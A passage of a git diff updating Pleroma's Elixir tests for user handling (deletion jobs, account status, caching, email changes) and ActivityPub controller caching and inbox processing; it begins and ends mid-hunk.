{:ok, repeat, _} = CommonAPI.repeat(activity_two.id, user)
- {:ok, _} = User.delete(user)
+ {:ok, job} = User.delete(user)
+ {:ok, _user} = ObanHelpers.perform(job)
follower = User.get_cached_by_id(follower.id)
@@ -980,7 +1151,7 @@ defmodule Pleroma.UserTest do
user_activities =
user.ap_id
- |> Activity.query_by_actor()
+ |> Activity.Queries.by_actor()
|> Repo.all()
|> Enum.map(fn act -> act.data["type"] end)
@@ -997,22 +1168,24 @@ defmodule Pleroma.UserTest do
Pleroma.Web.ActivityPub.Publisher,
[:passthrough],
[] do
- config_path = [:instance, :federating]
- initial_setting = Pleroma.Config.get(config_path)
- Pleroma.Config.put(config_path, true)
+ Pleroma.Config.put([:instance, :federating], true)
{:ok, follower} = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/admin")
{:ok, _} = User.follow(follower, user)
- {:ok, _user} = User.delete(user)
-
- assert called(
- Pleroma.Web.ActivityPub.Publisher.publish_one(%{
- inbox: "http://mastodon.example.org/inbox"
- })
+ {:ok, job} = User.delete(user)
+ {:ok, _user} = ObanHelpers.perform(job)
+
+ assert ObanHelpers.member?(
+ %{
+ "op" => "publish_one",
+ "params" => %{
+ "inbox" => "http://mastodon.example.org/inbox",
+ "id" => "pleroma:fakeid"
+ }
+ },
+ all_enqueued(worker: Pleroma.Workers.PublisherWorker)
)
-
- Pleroma.Config.put(config_path, initial_setting)
end
end
@@ -1020,11 +1193,56 @@ defmodule Pleroma.UserTest do
assert {:ok, _key} = User.get_public_key_for_ap_id("http://mastodon.example.org/users/admin")
end
- test "insert or update a user from given data" do
- user = insert(:user, %{nickname: "nick@name.de"})
- data = %{ap_id: user.ap_id <> "xxx", name: user.name, nickname: user.nickname}
+ describe "insert or update a user from given data" do
+ test "with normal data" do
+ user = insert(:user, %{nickname: "nick@name.de"})
+ data = %{ap_id: user.ap_id <> "xxx", name: user.name, nickname: user.nickname}
- assert {:ok, %User{}} = User.insert_or_update_user(data)
+ assert {:ok, %User{}} = User.insert_or_update_user(data)
+ end
+
+ test "with overly long fields" do
+ current_max_length = Pleroma.Config.get([:instance, :account_field_value_length], 255)
+ user = insert(:user, nickname: "nickname@supergood.domain")
+
+ data = %{
+ ap_id: user.ap_id,
+ name: user.name,
+ nickname: user.nickname,
+ fields: [
+ %{"name" => "myfield", "value" => String.duplicate("h", current_max_length + 1)}
+ ]
+ }
+
+ assert {:ok, %User{}} = User.insert_or_update_user(data)
+ end
+
+ test "with an overly long bio" do
+ current_max_length = Pleroma.Config.get([:instance, :user_bio_length], 5000)
+ user = insert(:user, nickname: "nickname@supergood.domain")
+
+ data = %{
+ ap_id: user.ap_id,
+ name: user.name,
+ nickname: user.nickname,
+ bio: String.duplicate("h", current_max_length + 1)
+ }
+
+ assert {:ok, %User{}} = User.insert_or_update_user(data)
+ end
+
+ test "with an overly long display name" do
+ current_max_length = Pleroma.Config.get([:instance, :user_name_length], 100)
+ user = insert(:user, nickname: "nickname@supergood.domain")
+
+ data = %{
+ ap_id: user.ap_id,
+ name: String.duplicate("h", current_max_length + 1),
+ nickname: user.nickname
+ }
+
+ assert {:ok, %User{}} = User.insert_or_update_user(data)
+ end
end
describe "per-user rich-text filtering" do
@@ -1035,7 +1253,7 @@ defmodule Pleroma.UserTest do
end
test "html_filter_policy returns TwitterText scrubber when rich-text is disabled" do
- user = insert(:user, %{info: %{no_rich_text: true}})
+ user = insert(:user, no_rich_text: true)
assert Pleroma.HTML.Scrubber.TwitterText == User.html_filter_policy(user)
end
@@ -1044,19 +1262,19 @@ defmodule Pleroma.UserTest do
describe "caching" do
test "invalidate_cache works" do
user = insert(:user)
- _user_info = User.get_cached_user_info(user)
+ User.set_cache(user)
User.invalidate_cache(user)
{:ok, nil} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}")
{:ok, nil} = Cachex.get(:user_cache, "nickname:#{user.nickname}")
- {:ok, nil} = Cachex.get(:user_cache, "user_info:#{user.id}")
end
test "User.delete() plugs any possible zombie objects" do
user = insert(:user)
- {:ok, _} = User.delete(user)
+ {:ok, job} = User.delete(user)
+ {:ok, _} = ObanHelpers.perform(job)
{:ok, cached_user} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}")
@@ -1068,18 +1286,35 @@ defmodule Pleroma.UserTest do
end
end
- test "auth_active?/1 works correctly" do
- Pleroma.Config.put([:instance, :account_activation_required], true)
+ describe "account_status/1" do
+ clear_config([:instance, :account_activation_required])
+
+ test "return confirmation_pending for unconfirm user" do
+ Pleroma.Config.put([:instance, :account_activation_required], true)
+ user = insert(:user, confirmation_pending: true)
+ assert User.account_status(user) == :confirmation_pending
+ end
+
+ test "return active for confirmed user" do
+ Pleroma.Config.put([:instance, :account_activation_required], true)
+ user = insert(:user, confirmation_pending: false)
+ assert User.account_status(user) == :active
+ end
- local_user = insert(:user, local: true, info: %{confirmation_pending: true})
- confirmed_user = insert(:user, local: true, info: %{confirmation_pending: false})
- remote_user = insert(:user, local: false)
+ test "return active for remote user" do
+ user = insert(:user, local: false)
+ assert User.account_status(user) == :active
+ end
- refute User.auth_active?(local_user)
- assert User.auth_active?(confirmed_user)
- assert User.auth_active?(remote_user)
+ test "returns :password_reset_pending for user with reset password" do
+ user = insert(:user, password_reset_pending: true)
+ assert User.account_status(user) == :password_reset_pending
+ end
- Pleroma.Config.put([:instance, :account_activation_required], false)
+ test "returns :deactivated for deactivated user" do
+ user = insert(:user, local: true, confirmation_pending: false, deactivated: true)
+ assert User.account_status(user) == :deactivated
+ end
end
describe "superuser?/1" do
@@ -1091,25 +1326,39 @@ defmodule Pleroma.UserTest do
test "returns false for remote users" do
user = insert(:user, local: false)
- remote_admin_user = insert(:user, local: false, info: %{is_admin: true})
+ remote_admin_user = insert(:user, local: false, is_admin: true)
refute User.superuser?(user)
refute User.superuser?(remote_admin_user)
end
test "returns true for local moderators" do
- user = insert(:user, local: true, info: %{is_moderator: true})
+ user = insert(:user, local: true, is_moderator: true)
assert User.superuser?(user)
end
test "returns true for local admins" do
- user = insert(:user, local: true, info: %{is_admin: true})
+ user = insert(:user, local: true, is_admin: true)
assert User.superuser?(user)
end
end
+ describe "invisible?/1" do
+ test "returns true for an invisible user" do
+ user = insert(:user, local: true, invisible: true)
+
+ assert User.invisible?(user)
+ end
+
+ test "returns false for a non-invisible user" do
+ user = insert(:user, local: true)
+
+ refute User.invisible?(user)
+ end
+ end
+
describe "visible_for?/2" do
test "returns true when the account is itself" do
user = insert(:user, local: true)
@@ -1120,16 +1369,14 @@ defmodule Pleroma.UserTest do
test "returns false when the account is unauthenticated and auth is required" do
Pleroma.Config.put([:instance, :account_activation_required], true)
- user = insert(:user, local: true, info: %{confirmation_pending: true})
+ user = insert(:user, local: true, confirmation_pending: true)
other_user = insert(:user, local: true)
refute User.visible_for?(user, other_user)
-
- Pleroma.Config.put([:instance, :account_activation_required], false)
end
test "returns true when the account is unauthenticated and auth is not required" do
- user = insert(:user, local: true, info: %{confirmation_pending: true})
+ user = insert(:user, local: true, confirmation_pending: true)
other_user = insert(:user, local: true)
assert User.visible_for?(user, other_user)
@@ -1138,12 +1385,10 @@ defmodule Pleroma.UserTest do
test "returns true when the account is unauthenticated and being viewed by a privileged account (auth required)" do
Pleroma.Config.put([:instance, :account_activation_required], true)
- user = insert(:user, local: true, info: %{confirmation_pending: true})
- other_user = insert(:user, local: true, info: %{is_admin: true})
+ user = insert(:user, local: true, confirmation_pending: true)
+ other_user = insert(:user, local: true, is_admin: true)
assert User.visible_for?(user, other_user)
-
- Pleroma.Config.put([:instance, :account_activation_required], false)
end
end
@@ -1154,26 +1399,26 @@ defmodule Pleroma.UserTest do
bio = "A.k.a. @nick@domain.com"
expected_text =
- "A.k.a. <span class='h-card'><a data-user='#{remote_user.id}' class='u-url mention' href='#{
+ ~s(A.k.a. <span class="h-card"><a data-user="#{remote_user.id}" class="u-url mention" href="#{
remote_user.ap_id
- }'>@<span>nick@domain.com</span></a></span>"
+ }" rel="ugc">@<span>nick@domain.com</span></a></span>)
assert expected_text == User.parse_bio(bio, user)
end
test "Adds rel=me on linkbacked urls" do
- user = insert(:user, ap_id: "http://social.example.org/users/lain")
+ user = insert(:user, ap_id: "https://social.example.org/users/lain")
- bio = "http://example.org/rel_me/null"
+ bio = "http://example.com/rel_me/null"
expected_text = "<a href=\"#{bio}\">#{bio}</a>"
assert expected_text == User.parse_bio(bio, user)
- bio = "http://example.org/rel_me/link"
- expected_text = "<a href=\"#{bio}\">#{bio}</a>"
+ bio = "http://example.com/rel_me/link"
+ expected_text = "<a href=\"#{bio}\" rel=\"me\">#{bio}</a>"
assert expected_text == User.parse_bio(bio, user)
- bio = "http://example.org/rel_me/anchor"
- expected_text = "<a href=\"#{bio}\">#{bio}</a>"
+ bio = "http://example.com/rel_me/anchor"
+ expected_text = "<a href=\"#{bio}\" rel=\"me\">#{bio}</a>"
assert expected_text == User.parse_bio(bio, user)
end
end
@@ -1188,43 +1433,145 @@ defmodule Pleroma.UserTest do
{:ok, _follower2} = User.follow(follower2, user)
{:ok, _follower3} = User.follow(follower3, user)
- {:ok, _} = User.block(user, follower)
+ {:ok, _user_relationship} = User.block(user, follower)
+ user = refresh_record(user)
- user_show = Pleroma.Web.TwitterAPI.UserView.render("show.json", %{user: user})
+ assert user.follower_count == 2
+ end
+
+ describe "list_inactive_users_query/1" do
+ defp days_ago(days) do
+ NaiveDateTime.add(
+ NaiveDateTime.truncate(NaiveDateTime.utc_now(), :second),
+ -days * 60 * 60 * 24,
+ :second
+ )
+ end
+
+ test "Users are inactive by default" do
+ total = 10
+
+ users =
+ Enum.map(1..total, fn _ ->
+ insert(:user, last_digest_emailed_at: days_ago(20), deactivated: false)
+ end)
+
+ inactive_users_ids =
+ Pleroma.User.list_inactive_users_query()
+ |> Pleroma.Repo.all()
+ |> Enum.map(& &1.id)
+
+ Enum.each(users, fn user ->
+ assert user.id in inactive_users_ids
+ end)
+ end
- assert Map.get(user_show, "followers_count") == 2
+ test "Only includes users who has no recent activity" do
+ total = 10
+
+ users =
+ Enum.map(1..total, fn _ ->
+ insert(:user, last_digest_emailed_at: days_ago(20), deactivated: false)
+ end)
+
+ {inactive, active} = Enum.split(users, trunc(total / 2))
+
+ Enum.map(active, fn user ->
+ to = Enum.random(users -- [user])
+
+ {:ok, _} =
+ CommonAPI.post(user, %{
+ "status" => "hey @#{to.nickname}"
+ })
+ end)
+
+ inactive_users_ids =
+ Pleroma.User.list_inactive_users_query()
+ |> Pleroma.Repo.all()
+ |> Enum.map(& &1.id)
+
+ Enum.each(active, fn user ->
+ refute user.id in inactive_users_ids
+ end)
+
+ Enum.each(inactive, fn user ->
+ assert user.id in inactive_users_ids
+ end)
+ end
+
+ test "Only includes users with no read notifications" do
+ total = 10
+
+ users =
+ Enum.map(1..total, fn _ ->
+ insert(:user, last_digest_emailed_at: days_ago(20), deactivated: false)
+ end)
+
+ [sender | recipients] = users
+ {inactive, active} = Enum.split(recipients, trunc(total / 2))
+
+ Enum.each(recipients, fn to ->
+ {:ok, _} =
+ CommonAPI.post(sender, %{
+ "status" => "hey @#{to.nickname}"
+ })
+
+ {:ok, _} =
+ CommonAPI.post(sender, %{
+ "status" => "hey again @#{to.nickname}"
+ })
+ end)
+
+ Enum.each(active, fn user ->
+ [n1, _n2] = Pleroma.Notification.for_user(user)
+ {:ok, _} = Pleroma.Notification.read_one(user, n1.id)
+ end)
+
+ inactive_users_ids =
+ Pleroma.User.list_inactive_users_query()
+ |> Pleroma.Repo.all()
+ |> Enum.map(& &1.id)
+
+ Enum.each(active, fn user ->
+ refute user.id in inactive_users_ids
+ end)
+
+ Enum.each(inactive, fn user ->
+ assert user.id in inactive_users_ids
+ end)
+ end
end
describe "toggle_confirmation/1" do
test "if user is confirmed" do
- user = insert(:user, info: %{confirmation_pending: false})
+ user = insert(:user, confirmation_pending: false)
{:ok, user} = User.toggle_confirmation(user)
- assert user.info.confirmation_pending
- assert user.info.confirmation_token
+ assert user.confirmation_pending
+ assert user.confirmation_token
end
test "if user is unconfirmed" do
- user = insert(:user, info: %{confirmation_pending: true, confirmation_token: "some token"})
+ user = insert(:user, confirmation_pending: true, confirmation_token: "some token")
{:ok, user} = User.toggle_confirmation(user)
- refute user.info.confirmation_pending
- refute user.info.confirmation_token
+ refute user.confirmation_pending
+ refute user.confirmation_token
end
end
describe "ensure_keys_present" do
test "it creates keys for a user and stores them in info" do
user = insert(:user)
- refute is_binary(user.info.keys)
+ refute is_binary(user.keys)
{:ok, user} = User.ensure_keys_present(user)
- assert is_binary(user.info.keys)
+ assert is_binary(user.keys)
end
test "it doesn't create keys if there already are some" do
- user = insert(:user, %{info: %{keys: "xxx"}})
+ user = insert(:user, keys: "xxx")
{:ok, user} = User.ensure_keys_present(user)
- assert user.info.keys == "xxx"
+ assert user.keys == "xxx"
end
end
@@ -1245,7 +1592,7 @@ defmodule Pleroma.UserTest do
user1 = insert(:user, local: false, ap_id: "http://localhost:4001/users/masto_closed")
user2 = insert(:user, local: false, ap_id: "http://localhost:4001/users/fuser2")
insert(:user, local: true)
- insert(:user, local: false, info: %{deactivated: true})
+ insert(:user, local: false, deactivated: true)
{:ok, user1: user1, user2: user2}
end
@@ -1266,65 +1613,213 @@ defmodule Pleroma.UserTest do
end
end
- describe "set_info_cache/2" do
- setup do
+ describe "is_internal_user?/1" do
+ test "non-internal user returns false" do
user = insert(:user)
- {:ok, user: user}
+ refute User.is_internal_user?(user)
end
- test "update from args", %{user: user} do
- User.set_info_cache(user, %{following_count: 15, follower_count: 18})
+ test "user with no nickname returns true" do
+ user = insert(:user, %{nickname: nil})
+ assert User.is_internal_user?(user)
+ end
- %{follower_count: followers, following_count: following} = User.get_cached_user_info(user)
- assert followers == 18
- assert following == 15
+ test "user with internal-prefixed nickname returns true" do
+ user = insert(:user, %{nickname: "internal.test"})
+ assert User.is_internal_user?(user)
end
+ end
- test "without args", %{user: user} do
- User.set_info_cache(user, %{})
+ describe "update_and_set_cache/1" do
+ test "returns error when user is stale instead Ecto.StaleEntryError" do
+ user = insert(:user)
+
+ changeset = Ecto.Changeset.change(user, bio: "test")
+
+ Repo.delete(user)
+
+ assert {:error, %Ecto.Changeset{errors: [id: {"is stale", [stale: true]}], valid?: false}} =
+ User.update_and_set_cache(changeset)
+ end
- %{follower_count: followers, following_count: following} = User.get_cached_user_info(user)
- assert followers == 0
- assert following == 0
+ test "performs update cache if user updated" do
+ user = insert(:user)
+ assert {:ok, nil} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}")
+
+ changeset = Ecto.Changeset.change(user, bio: "test-bio")
+
+ assert {:ok, %User{bio: "test-bio"} = user} = User.update_and_set_cache(changeset)
+ assert {:ok, user} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}")
+ assert %User{bio: "test-bio"} = User.get_cached_by_ap_id(user.ap_id)
end
end
- describe "user_info/2" do
- setup do
+ describe "following/followers synchronization" do
+ clear_config([:instance, :external_user_synchronization])
+
+ test "updates the counters normally on following/getting a follow when disabled" do
+ Pleroma.Config.put([:instance, :external_user_synchronization], false)
user = insert(:user)
- {:ok, user: user}
+
+ other_user =
+ insert(:user,
+ local: false,
+ follower_address: "http://localhost:4001/users/masto_closed/followers",
+ following_address: "http://localhost:4001/users/masto_closed/following",
+ ap_enabled: true
+ )
+
+ assert other_user.following_count == 0
+ assert other_user.follower_count == 0
+
+ {:ok, user} = Pleroma.User.follow(user, other_user)
+ other_user = Pleroma.User.get_by_id(other_user.id)
+
+ assert user.following_count == 1
+ assert other_user.follower_count == 1
end
- test "update from args", %{user: user} do
- %{follower_count: followers, following_count: following} =
- User.user_info(user, %{following_count: 15, follower_count: 18})
+ test "syncronizes the counters with the remote instance for the followed when enabled" do
+ Pleroma.Config.put([:instance, :external_user_synchronization], false)
+
+ user = insert(:user)
+
+ other_user =
+ insert(:user,
+ local: false,
+ follower_address: "http://localhost:4001/users/masto_closed/followers",
+ following_address: "http://localhost:4001/users/masto_closed/following",
+ ap_enabled: true
+ )
+
+ assert other_user.following_count == 0
+ assert other_user.follower_count == 0
+
+ Pleroma.Config.put([:instance, :external_user_synchronization], true)
+ {:ok, _user} = User.follow(user, other_user)
+ other_user = User.get_by_id(other_user.id)
- assert followers == 18
- assert following == 15
+ assert other_user.follower_count == 437
end
- test "without args", %{user: user} do
- %{follower_count: followers, following_count: following} = User.user_info(user)
+ test "syncronizes the counters with the remote instance for the follower when enabled" do
+ Pleroma.Config.put([:instance, :external_user_synchronization], false)
+
+ user = insert(:user)
+
+ other_user =
+ insert(:user,
+ local: false,
+ follower_address: "http://localhost:4001/users/masto_closed/followers",
+ following_address: "http://localhost:4001/users/masto_closed/following",
+ ap_enabled: true
+ )
- assert followers == 0
- assert following == 0
+ assert other_user.following_count == 0
+ assert other_user.follower_count == 0
+
+ Pleroma.Config.put([:instance, :external_user_synchronization], true)
+ {:ok, other_user} = User.follow(other_user, user)
+
+ assert other_user.following_count == 152
end
end
- describe "is_internal_user?/1" do
- test "non-internal user returns false" do
- user = insert(:user)
- refute User.is_internal_user?(user)
+ describe "change_email/2" do
+ setup do
+ [user: insert(:user)]
end
- test "user with no nickname returns true" do
- user = insert(:user, %{nickname: nil})
- assert User.is_internal_user?(user)
+ test "blank email returns error", %{user: user} do
+ assert {:error, %{errors: [email: {"can't be blank", _}]}} = User.change_email(user, "")
+ assert {:error, %{errors: [email: {"can't be blank", _}]}} = User.change_email(user, nil)
end
- test "user with internal-prefixed nickname returns true" do
- user = insert(:user, %{nickname: "internal.test"})
- assert User.is_internal_user?(user)
+ test "non unique email returns error", %{user: user} do
+ %{email: email} = insert(:user)
+
+ assert {:error, %{errors: [email: {"has already been taken", _}]}} =
+ User.change_email(user, email)
+ end
+
+ test "invalid email returns error", %{user: user} do
+ assert {:error, %{errors: [email: {"has invalid format", _}]}} =
+ User.change_email(user, "cofe")
+ end
+
+ test "changes email", %{user: user} do
+ assert {:ok, %User{email: "cofe@cofe.party"}} = User.change_email(user, "cofe@cofe.party")
+ end
+ end
+
+ describe "get_cached_by_nickname_or_id" do
+ setup do
+ limit_to_local_content = Pleroma.Config.get([:instance, :limit_to_local_content])
+ local_user = insert(:user)
+ remote_user = insert(:user, nickname: "nickname@example.com", local: false)
+
+ on_exit(fn ->
+ Pleroma.Config.put([:instance, :limit_to_local_content], limit_to_local_content)
+ end)
+
+ [local_user: local_user, remote_user: remote_user]
+ end
+
+ test "allows getting remote users by id no matter what :limit_to_local_content is set to", %{
+ remote_user: remote_user
+ } do
+ Pleroma.Config.put([:instance, :limit_to_local_content], false)
+ assert %User{} = User.get_cached_by_nickname_or_id(remote_user.id)
+
+ Pleroma.Config.put([:instance, :limit_to_local_content], true)
+ assert %User{} = User.get_cached_by_nickname_or_id(remote_user.id)
+
+ Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated)
+ assert %User{} = User.get_cached_by_nickname_or_id(remote_user.id)
+ end
+
+ test "disallows getting remote users by nickname without authentication when :limit_to_local_content is set to :unauthenticated",
+ %{remote_user: remote_user} do
+ Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated)
+ assert nil == User.get_cached_by_nickname_or_id(remote_user.nickname)
+ end
+
+ test "allows getting remote users by nickname with authentication when :limit_to_local_content is set to :unauthenticated",
+ %{remote_user: remote_user, local_user: local_user} do
+ Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated)
+ assert %User{} = User.get_cached_by_nickname_or_id(remote_user.nickname, for: local_user)
+ end
+
+ test "disallows getting remote users by nickname when :limit_to_local_content is set to true",
+ %{remote_user: remote_user} do
+ Pleroma.Config.put([:instance, :limit_to_local_content], true)
+ assert nil == User.get_cached_by_nickname_or_id(remote_user.nickname)
+ end
+
+ test "allows getting local users by nickname no matter what :limit_to_local_content is set to",
+ %{local_user: local_user} do
+ Pleroma.Config.put([:instance, :limit_to_local_content], false)
+ assert %User{} = User.get_cached_by_nickname_or_id(local_user.nickname)
+
+ Pleroma.Config.put([:instance, :limit_to_local_content], true)
+ assert %User{} = User.get_cached_by_nickname_or_id(local_user.nickname)
+
+ Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated)
+ assert %User{} = User.get_cached_by_nickname_or_id(local_user.nickname)
+ end
+ end
+
+ describe "update_email_notifications/2" do
+ setup do
+ user = insert(:user, email_notifications: %{"digest" => true})
+
+ {:ok, user: user}
+ end
+
+ test "Notifications are updated", %{user: user} do
+ true = user.email_notifications["digest"]
+ assert {:ok, result} = User.update_email_notifications(user, %{"digest" => false})
+ assert result.email_notifications["digest"] == false
end
end
end
diff --git a/test/web/activity_pub/activity_pub_controller_test.exs b/test/web/activity_pub/activity_pub_controller_test.exs
index 40344f17e..ba2ce1dd9 100644
--- a/test/web/activity_pub/activity_pub_controller_test.exs
+++ b/test/web/activity_pub/activity_pub_controller_test.exs
@@ -1,32 +1,37 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
use Pleroma.Web.ConnCase
+ use Oban.Testing, repo: Pleroma.Repo
+
import Pleroma.Factory
alias Pleroma.Activity
+ alias Pleroma.Delivery
alias Pleroma.Instances
alias Pleroma.Object
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.Web.ActivityPub.ObjectView
+ alias Pleroma.Web.ActivityPub.Relay
alias Pleroma.Web.ActivityPub.UserView
alias Pleroma.Web.ActivityPub.Utils
alias Pleroma.Web.CommonAPI
+ alias Pleroma.Workers.ReceiverWorker
setup_all do
Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
-
- config_path = [:instance, :federating]
- initial_setting = Pleroma.Config.get(config_path)
-
- Pleroma.Config.put(config_path, true)
- on_exit(fn -> Pleroma.Config.put(config_path, initial_setting) end)
-
:ok
end
+ clear_config_all([:instance, :federating],
+ do: Pleroma.Config.put([:instance, :federating], true)
+ )
+
describe "/relay" do
+ clear_config([:instance, :allow_relay])
+
test "with the relay active, it returns the relay user", %{conn: conn} do
res =
conn
@@ -43,8 +48,6 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|> get(activity_pub_path(conn, :relay))
|> json_response(404)
|> assert
-
- Pleroma.Config.put([:instance, :allow_relay], true)
end
end
@@ -107,6 +110,19 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
assert json_response(conn, 200) == UserView.render("user.json", %{user: user})
end
+
+ test "it returns 404 for remote users", %{
+ conn: conn
+ } do
+ user = insert(:user, local: false, nickname: "remoteuser@example.com")
+
+ conn =
+ conn
+ |> put_req_header("accept", "application/json")
+ |> get("/users/#{user.nickname}.json")
+
+ assert json_response(conn, 404)
+ end
end
describe "/object/:uuid" do
@@ -177,21 +193,48 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
assert json_response(conn, 404)
end
- end
- describe "/object/:uuid/likes" do
- test "it returns the like activities in a collection", %{conn: conn} do
- like = insert(:like_activity)
- like_object_ap_id = Object.normalize(like).data["id"]
- uuid = String.split(like_object_ap_id, "/") |> List.last()
+ test "it caches a response", %{conn: conn} do
+ note = insert(:note)
+ uuid = String.split(note.data["id"], "/") |> List.last()
- result =
+ conn1 =
conn
|> put_req_header("accept", "application/activity+json")
- |> get("/objects/#{uuid}/likes")
- |> json_response(200)
+ |> get("/objects/#{uuid}")
+
+ assert json_response(conn1, :ok)
+ assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"}))
+
+ conn2 =
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> get("/objects/#{uuid}")
- assert List.first(result["first"]["orderedItems"])["id"] == like.data["id"]
+ assert json_response(conn1, :ok) == json_response(conn2, :ok)
+ assert Enum.any?(conn2.resp_headers, &(&1 == {"x-cache", "HIT from Pleroma"}))
+ end
+
+ test "cached purged after object deletion", %{conn: conn} do
+ note = insert(:note)
+ uuid = String.split(note.data["id"], "/") |> List.last()
+
+ conn1 =
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> get("/objects/#{uuid}")
+
+ assert json_response(conn1, :ok)
+ assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"}))
+
+ Object.delete(note)
+
+ conn2 =
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> get("/objects/#{uuid}")
+
+ assert "Not found" == json_response(conn2, :not_found)
end
end
@@ -219,6 +262,51 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
assert json_response(conn, 404)
end
+
+ test "it caches a response", %{conn: conn} do
+ activity = insert(:note_activity)
+ uuid = String.split(activity.data["id"], "/") |> List.last()
+
+ conn1 =
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> get("/activities/#{uuid}")
+
+ assert json_response(conn1, :ok)
+ assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"}))
+
+ conn2 =
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> get("/activities/#{uuid}")
+
+ assert json_response(conn1, :ok) == json_response(conn2, :ok)
+ assert Enum.any?(conn2.resp_headers, &(&1 == {"x-cache", "HIT from Pleroma"}))
+ end
+
+ test "cached purged after activity deletion", %{conn: conn} do
+ user = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "cofe"})
+
+ uuid = String.split(activity.data["id"], "/") |> List.last()
+
+ conn1 =
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> get("/activities/#{uuid}")
+
+ assert json_response(conn1, :ok)
+ assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"}))
+
+ Activity.delete_all_by_object_ap_id(activity.object.data["id"])
+
+ conn2 =
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> get("/activities/#{uuid}")
+
+ assert "Not found" == json_response(conn2, :not_found)
+ end
end
describe "/inbox" do
@@ -232,7 +320,8 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|> post("/inbox", data)
assert "ok" == json_response(conn, 200)
- :timer.sleep(500)
+
+ ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))
assert Activity.get_by_ap_id(data["id"])
end
@@ -274,10 +363,91 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|> post("/users/#{user.nickname}/inbox", data)
assert "ok" == json_response(conn, 200)
- :timer.sleep(500)
+ ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))
assert Activity.get_by_ap_id(data["id"])
end
+ test "it accepts messages with to as string instead of array", %{conn: conn, data: data} do
+ user = insert(:user)
+
+ data =
+ Map.put(data, "to", user.ap_id)
+ |> Map.delete("cc")
+
+ conn =
+ conn
+ |> assign(:valid_signature, true)
+ |> put_req_header("content-type", "application/activity+json")
+ |> post("/users/#{user.nickname}/inbox", data)
+
+ assert "ok" == json_response(conn, 200)
+ ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))
+ assert Activity.get_by_ap_id(data["id"])
+ end
+
+ test "it accepts messages with cc as string instead of array", %{conn: conn, data: data} do
+ user = insert(:user)
+
+ data =
+ Map.put(data, "cc", user.ap_id)
+ |> Map.delete("to")
+
+ conn =
+ conn
+ |> assign(:valid_signature, true)
+ |> put_req_header("content-type", "application/activity+json")
+ |> post("/users/#{user.nickname}/inbox", data)
+
+ assert "ok" == json_response(conn, 200)
+ ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))
+ %Activity{} = activity = Activity.get_by_ap_id(data["id"])
+ assert user.ap_id in activity.recipients
+ end
+
+ test "it accepts messages with bcc as string instead of array", %{conn: conn, data: data} do
+ user = insert(:user)
+
+ data =
+ Map.put(data, "bcc", user.ap_id)
+ |> Map.delete("to")
+ |> Map.delete("cc")
+
+ conn =
+ conn
+ |> assign(:valid_signature, true)
+ |> put_req_header("content-type", "application/activity+json")
+ |> post("/users/#{user.nickname}/inbox", data)
+
+ assert "ok" == json_response(conn, 200)
+ ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))
+ assert Activity.get_by_ap_id(data["id"])
+ end
+
+ test "it accepts announces with to as string instead of array", %{conn: conn} do
+ user = insert(:user)
+
+ data = %{
+ "@context" => "https://www.w3.org/ns/activitystreams",
+ "actor" => "http://mastodon.example.org/users/admin",
+ "id" => "http://mastodon.example.org/users/admin/statuses/19512778738411822/activity",
+ "object" => "https://mastodon.social/users/emelie/statuses/101849165031453009",
+ "to" => "https://www.w3.org/ns/activitystreams#Public",
+ "cc" => [user.ap_id],
+ "type" => "Announce"
+ }
+
+ conn =
+ conn
+ |> assign(:valid_signature, true)
+ |> put_req_header("content-type", "application/activity+json")
+ |> post("/users/#{user.nickname}/inbox", data)
+
+ assert "ok" == json_response(conn, 200)
+ ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))
+ %Activity{} = activity = Activity.get_by_ap_id(data["id"])
+ assert "https://www.w3.org/ns/activitystreams#Public" in activity.recipients
+ end
+
test "it accepts messages from actors that are followed by the user", %{
conn: conn,
data: data
@@ -303,7 +473,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|> post("/users/#{recipient.nickname}/inbox", data)
assert "ok" == json_response(conn, 200)
- :timer.sleep(500)
+ ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))
assert Activity.get_by_ap_id(data["id"])
end
@@ -320,6 +490,17 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
assert json_response(conn, 403)
end
+ test "it doesn't crash without an authenticated user", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> put_req_header("accept", "application/activity+json")
